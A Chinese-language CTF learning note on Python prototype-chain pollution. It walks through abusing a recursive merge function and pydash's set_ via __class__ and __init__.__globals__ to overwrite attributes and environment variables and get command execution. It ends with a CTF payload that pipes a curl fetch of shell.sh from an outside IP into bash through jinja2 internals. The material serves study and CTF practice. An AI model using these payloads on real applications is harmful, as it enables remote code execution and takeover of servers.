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• 复现SU的时候遇到一道python原型链污染的题，借此机会学一下
• 参考：
  • 【原型链污染】Python与Js
  • https://blog.abdulrah33m.com/prototype-pollution-in-python/
  • pydash原型链污染

基础知识

python的原型链污染实际是一些对类的操作，我们的输入一般是str或者int，所以不能使用

a.__class__=‘pollute’

但是a还有一个属性__qualname__，可以访问和修改类名

a.__class_.__qualname_=‘pollute’
假如原本a是poerson类，在此修改之后就会变成pollute类

接下来看merge函数，这个函数实现了对两个字典的递归合并，如果原来已有的键值对会被覆盖，新的键值对会被加进去，举个例子

合并两个字典
dict1 = {"a": {"x": 1}, "b": 2}
dict2 = {"a": {"y": 2}, "c": 3}
merge(dict1, dict2)
# dict2 = {"a": {"x": 1, "y": 2}, "b": 2, "c": 3}

覆盖原有值
class Settings:def __init__(self):self.theme = "dark"config = {"theme": "light", "font": "Arial"}
settings = Settings()
merge(config, settings)
# settings.theme = "light", settings.font = "Arial"

深层更新
default_config = {"database": {"host": "localhost"}}
user_config = {"database": {"port": 5432}}
merge(user_config, default_config)
# default_config = {"database": {"host": "localhost", "port": 5432}}

到这里你应该理解merge函数的作用了，来看看它的源码

def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性，如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)

所以，我们可以利用这个函数进行污染

对父类的污染

payload = {"__class__":{"__base__":{"__qualname__":"Polluted"}}
}
merge(a,payload)
print(a.__class__.__base__) #<class '__main__.Polluted '>

当然，对于不可变类型Object或者str等，Python限制不能对其进行修改。

命令执行

在一些存在命令执行的类里，我们就可以尝试覆盖cmd

def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):  #检查dst对象是否有__getitem__属性，如果存在则可以将dst作为字典访问if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict: #如果目标字典中已经存在该属性则只复制值merge(v, getattr(dst, k))else:setattr(dst, k, v)
class exp:def __init__(self,cmd):self.cmd=cmddef excute(self):os.system(self.cmd)
a=exp('none')
b={"cmd":"calc"}
merge(b,a)
a.excute()

对子类的污染

在学习污染子类之前，先看一点前置知识
其实很像SSTI，这个全局变量可以从任何已知函数的方法访问，比如我们常用的._init_.__globals__来找可以用来执行命令的模块，就是基于这个原理，__init__属性是类中常见的函数，所以可以直接用它来实现访问__globas__变量
接下来实现篡改os模块的一个环境变量

{"__init__": {"__globals__": {"subprocess": {"os": {"environ": {"COMSPEC": "cmd /c calc"  # 篡改环境变量 COMSPEC}}}}}
}

COMSPEC 环境变量的意义
在 Windows 中，COMSPEC 指定了系统命令解释器的路径（默认为 cmd.exe）。
篡改为 cmd /c calc 后，subprocess 调用系统命令时会直接执行计算器。
用subprocess模块主要是为了找到os，如果有os模块直接调用即可

看看完整攻击命令

import subprocess, jsonclass Employee:def __init__(self):passdef merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])subprocess.Popen('whoami', shell=True) 

pydash原型链污染

set_(notes, key, value)

pydash库的set_函数，可以说是在实际环境中的merge函数，用于将键值对添加到类中

from pydash import set_
class user:def __init__(self):pass
test_str='123456'
set_(user(),'__class__.__init__.__globals__.test_str','789')
print(test_str)
#789

不过这里当个例子看就行，因为pydash库现在不允许直接对global，builtins这样的变量进行修改
调试set_函数，跟进到update_with函数，可以看到跟merge函数起到类似的作用

def update_with(obj, path, updater, customizer=None):  # noqa: PLR0912"""This method is like :func:`update` except that it accepts customizer which is invoked to producethe objects of path. If customizer returns ``None``, path creation is handled by the methodinstead. The customizer is invoked with three arguments: ``(nested_value, key, nested_object)``.Args:obj: Object to modify.path: A string or list of keys that describe the object path to modify.updater: Function that returns updated value.customizer: The function to customize assigned values.Returns:Updated `obj`.Warning:`obj` is modified in place.Example:>>> update_with({}, "[0][1]", lambda: "a", lambda: {}){0: {1: 'a'}}.. versionadded:: 4.0.0"""if not callable(updater):updater = pyd.constant(updater)if customizer is not None and not callable(customizer):call_customizer = partial(callit, clone, customizer, argcount=1)elif customizer:call_customizer = partial(callit, customizer, argcount=getargcount(customizer, maxargs=3))else:call_customizer = Nonedefault_type = dict if isinstance(obj, dict) else listtokens = to_path_tokens(path)last_key = pyd.last(tokens)if isinstance(last_key, PathToken):last_key = last_key.keytarget = objfor idx, token in enumerate(pyd.initial(tokens)):key = token.keydefault_factory = pyd.get(tokens, [idx + 1, "default_factory"], default=default_type)obj_val = base_get(target, key, default=None)path_obj = Noneif call_customizer:path_obj = call_customizer(obj_val, key, target)if path_obj is None:path_obj = default_factory()base_set(target, key, path_obj, allow_override=False)try:target = base_get(target, key, default=None)except TypeError as exc:  # pragma: no covertry:target = target[int(key)]_failed = Falseexcept Exception:_failed = Trueif _failed:raise TypeError(f"Unable to update object at index {key!r}. {exc}") from excvalue = base_get(target, last_key, default=None)base_set(target, last_key, callit(updater, value))return obj

虽然set_函数的注释里就可以看出它的作用，但是底层真正起到作用的还是update_with函数

def set_(obj: T, path: PathT, value: t.Any) -> T:"""Sets the value of an object described by `path`. If any part of the object path doesn't exist,it will be created.Args:obj: Object to modify.path: Target path to set value to.value: Value to set.Returns:Modified `obj`.Warning:`obj` is modified in place.Example:>>> set_({}, "a.b.c", 1){'a': {'b': {'c': 1}}}>>> set_({}, "a.0.c", 1){'a': {'0': {'c': 1}}}>>> set_([1, 2], "[2][0]", 1)[1, 2, [1]]>>> set_({}, "a.b[0].c", 1){'a': {'b': [{'c': 1}]}}.. versionadded:: 2.2.0.. versionchanged:: 3.3.0Added :func:`set_` as main definition and :func:`deep_set` as alias... versionchanged:: 4.0.0- Modify `obj` in place.- Support creating default path values as ``list`` or ``dict`` based on whether key or indexsubstrings are used.- Remove alias ``deep_set``."""return set_with(obj, path, value)

打污染的一些手法

• sys模块加载获取
  引用sys模块下的module属性，这个属性能够加载出来在自运行开始所有已加载的模块，从而我们能够从属性中获取到我们想要污染的目标模块
  如果可以把目标模块污染成我们想要的命令，那命令是不是就可以自运行了
  

• 通过 loader._init_._globals_[‘sys’]来获取sys模块
  （loader加载器的作用是实现模块加载，在内置模块importlib中具体实现，而importlib模块下所有的py文件中均引入了sys模块）
  

• 在python中还存在一个__spec__，包含了关于类加载时候的信息，他定义在Lib/importlib/bootstrap.py的类ModuleSpec，所以可以直接采用<模块名>._spec._init_._globals_[‘sys’]获取到sys模块

了解到这些之后我们再来看SU的payload

payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

runtime有什么用呢